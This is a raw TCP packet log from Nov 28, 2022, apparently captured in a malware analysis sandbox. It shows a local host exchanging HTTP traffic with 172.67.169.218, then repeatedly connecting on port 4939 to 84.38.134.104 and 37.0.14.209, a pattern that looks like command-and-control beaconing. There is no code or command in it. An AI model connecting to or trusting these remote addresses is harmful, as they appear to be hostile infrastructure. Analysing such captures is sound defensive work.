Nov 28, 2022 20:45:13.534183025 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.534249067 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.534262896 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.534329891 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.534346104 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.534420013 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.534463882 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.534486055 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.534522057 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.534559011 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.534615040 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.534684896 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.535747051 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.535809040 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.535943031 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.536043882 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.538302898 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.538377047 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.538424015 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.538546085 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.538608074 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.541351080 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.541423082 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.541479111 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.541534901 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.541591883 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.541604996 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.541676044 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.541693926 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.541759014 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.541779995 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.541903973 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.541965008 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.546212912 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.546292067 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.546350002 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.546386003 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.546437025 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.546508074 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.546531916 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.546598911 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.546611071 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.546653032 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.546685934 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.546751022 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.546794891 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.546864986 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.546890974 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.546952963 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.546971083 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.547040939 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.547046900 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.547116995 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.547163963 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.547188997 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.547218084 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.547278881 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.547307968 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.547348022 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.547379017 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.547508955 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.547610998 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.547663927 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.547833920 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.548180103 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.548226118 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.548358917 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.554457903 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.554605961 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.554629087 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.554663897 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.554718971 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.554754972 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.554773092 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.554830074 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.554833889 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.554883957 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.554936886 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.554943085 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.554991961 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.554996014 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.555046082 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.555054903 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.555102110 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.555147886 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.555151939 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.555244923 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.555306911 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.556123018 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.556170940 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.556282043 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.559123993 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.559195995 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.559252024 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.559305906 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.559318066 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.559360981 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.559366941 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.559415102 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.559448004 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.559468985 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.559524059 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.559588909 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.559638977 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.559720993 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.559820890 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.559894085 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.559947968 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.559971094 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.559988976 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.560045958 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.560197115 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.564594984 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.564673901 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.564735889 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.564765930 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.564791918 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.564846992 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.564889908 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.564902067 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.564937115 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.564956903 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.565011978 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.565012932 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.565093994 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.565211058 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.571515083 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.571553946 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.571727991 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.609658003 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.609683037 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.609699011 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.609724045 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.609739065 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.609858036 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.609858036 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.609858036 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.610750914 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.610773087 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.610789061 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.610804081 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.610817909 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.610831976 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.610846996 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.610862017 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.610999107 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.611026049 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.614922047 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.614952087 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.614969015 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.614989042 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.615010023 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.615025043 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.615046978 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.615067959 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.615082979 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.615097046 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.615107059 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.615112066 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.615127087 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.615142107 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.615163088 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.615178108 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.615192890 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.615206957 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.615221977 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.615232944 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.615322113 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.615410089 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.615478039 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.615499973 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.615660906 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.615685940 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.615701914 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.615715981 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.615721941 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.615731001 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.615746975 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.615761995 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.615776062 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.615791082 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.615803003 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.615824938 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.615997076 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.616099119 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.616230965 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.616249084 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.616260052 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.616270065 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.616285086 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.616298914 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.616419077 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.616491079 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.618721962 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.618768930 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.618786097 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.618799925 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.618814945 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.618829012 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.618921995 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.619091034 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.623759985 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.623789072 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.623804092 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.623826981 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.623846054 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.623861074 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.623874903 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.623889923 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.623904943 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.623919010 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.623933077 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.623946905 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.623960018 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.623980045 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.624083996 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.624172926 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.627746105 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.627774000 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.627789974 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.627813101 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.627831936 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.627846003 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.627868891 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.627885103 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.627898932 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.627913952 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.627928019 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.627942085 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.627955914 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.627970934 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.627989054 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.628005981 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.628015041 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.628021955 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.628038883 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.628062963 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.628079891 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.628086090 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.628086090 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.628094912 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.628106117 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.628106117 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.628108978 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.628122091 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.628187895 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.628458977 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.652314901 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.652364016 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.652421951 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.652457952 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.652483940 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.652508974 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.652534008 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.652559042 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.652582884 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.652602911 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.652645111 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.652681112 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.652761936 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.945096970 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.945177078 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.945396900 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.980251074 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.980357885 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.980581999 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:17.914002895 CET	49814	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:45:17.957997084 CET	4939	49814	84.38.134.104	192.168.11.20
Nov 28, 2022 20:45:18.467916965 CET	49814	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:45:18.512015104 CET	4939	49814	84.38.134.104	192.168.11.20
Nov 28, 2022 20:45:19.014661074 CET	49814	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:45:19.059300900 CET	4939	49814	84.38.134.104	192.168.11.20
Nov 28, 2022 20:45:19.561415911 CET	49814	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:45:19.605649948 CET	4939	49814	84.38.134.104	192.168.11.20
Nov 28, 2022 20:45:20.108233929 CET	49814	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:45:20.152415991 CET	4939	49814	84.38.134.104	192.168.11.20
Nov 28, 2022 20:45:20.171165943 CET	49815	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:45:20.190887928 CET	4939	49815	37.0.14.209	192.168.11.20
Nov 28, 2022 20:45:20.701850891 CET	49815	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:45:20.723387957 CET	4939	49815	37.0.14.209	192.168.11.20
Nov 28, 2022 20:45:21.232935905 CET	49815	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:45:21.253084898 CET	4939	49815	37.0.14.209	192.168.11.20
Nov 28, 2022 20:45:21.764111996 CET	49815	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:45:21.784135103 CET	4939	49815	37.0.14.209	192.168.11.20
Nov 28, 2022 20:45:22.295206070 CET	49815	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:45:22.317073107 CET	4939	49815	37.0.14.209	192.168.11.20
Nov 28, 2022 20:45:23.328892946 CET	49816	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:45:23.376691103 CET	4939	49816	84.38.134.104	192.168.11.20
Nov 28, 2022 20:45:23.888567924 CET	49816	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:45:24.065454960 CET	4939	49816	84.38.134.104	192.168.11.20
Nov 28, 2022 20:45:24.575928926 CET	49816	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:45:24.620373964 CET	4939	49816	84.38.134.104	192.168.11.20
Nov 28, 2022 20:45:25.122651100 CET	49816	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:45:25.166798115 CET	4939	49816	84.38.134.104	192.168.11.20
Nov 28, 2022 20:45:25.669472933 CET	49816	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:45:25.713830948 CET	4939	49816	84.38.134.104	192.168.11.20
Nov 28, 2022 20:45:25.715462923 CET	49818	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:45:25.734404087 CET	4939	49818	37.0.14.209	192.168.11.20
Nov 28, 2022 20:45:26.247442961 CET	49818	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:45:26.266175032 CET	4939	49818	37.0.14.209	192.168.11.20
Nov 28, 2022 20:45:26.778588057 CET	49818	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:45:26.797401905 CET	4939	49818	37.0.14.209	192.168.11.20
Nov 28, 2022 20:45:27.309729099 CET	49818	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:45:27.328531027 CET	4939	49818	37.0.14.209	192.168.11.20
Nov 28, 2022 20:45:27.841818094 CET	49818	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:45:27.860662937 CET	4939	49818	37.0.14.209	192.168.11.20
Nov 28, 2022 20:45:28.875576019 CET	49820	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:45:28.919610977 CET	4939	49820	84.38.134.104	192.168.11.20
Nov 28, 2022 20:45:29.434504032 CET	49820	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:45:29.479134083 CET	4939	49820	84.38.134.104	192.168.11.20
Nov 28, 2022 20:45:29.981092930 CET	49820	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:45:30.025146008 CET	4939	49820	84.38.134.104	192.168.11.20
Nov 28, 2022 20:45:30.527770042 CET	49820	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:45:30.571690083 CET	4939	49820	84.38.134.104	192.168.11.20
Nov 28, 2022 20:45:31.074512005 CET	49820	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:45:31.118634939 CET	4939	49820	84.38.134.104	192.168.11.20
Nov 28, 2022 20:45:31.120373011 CET	49821	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:45:31.139246941 CET	4939	49821	37.0.14.209	192.168.11.20
Nov 28, 2022 20:45:31.652779102 CET	49821	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:45:33.667673111 CET	49821	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:45:33.686537027 CET	4939	49821	37.0.14.209	192.168.11.20
Nov 28, 2022 20:45:34.198790073 CET	49821	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:45:34.217808962 CET	4939	49821	37.0.14.209	192.168.11.20
Nov 28, 2022 20:45:34.729940891 CET	49821	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:45:34.748800039 CET	4939	49821	37.0.14.209	192.168.11.20
Nov 28, 2022 20:45:35.762109041 CET	49822	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:45:35.806099892 CET	4939	49822	84.38.134.104	192.168.11.20
Nov 28, 2022 20:45:36.307748079 CET	49822	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:45:36.378998041 CET	4939	49822	84.38.134.104	192.168.11.20
Nov 28, 2022 20:45:36.885770082 CET	49822	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:45:36.929964066 CET	4939	49822	84.38.134.104	192.168.11.20
Nov 28, 2022 20:45:37.432518005 CET	49822	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:45:37.476684093 CET	4939	49822	84.38.134.104	192.168.11.20
Nov 28, 2022 20:45:37.979269981 CET	49822	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:45:38.024688005 CET	4939	49822	84.38.134.104	192.168.11.20
Nov 28, 2022 20:45:38.029129028 CET	49823	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:45:38.047975063 CET	4939	49823	37.0.14.209	192.168.11.20
Nov 28, 2022 20:45:38.557195902 CET	49823	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:45:38.575782061 CET	4939	49823	37.0.14.209	192.168.11.20
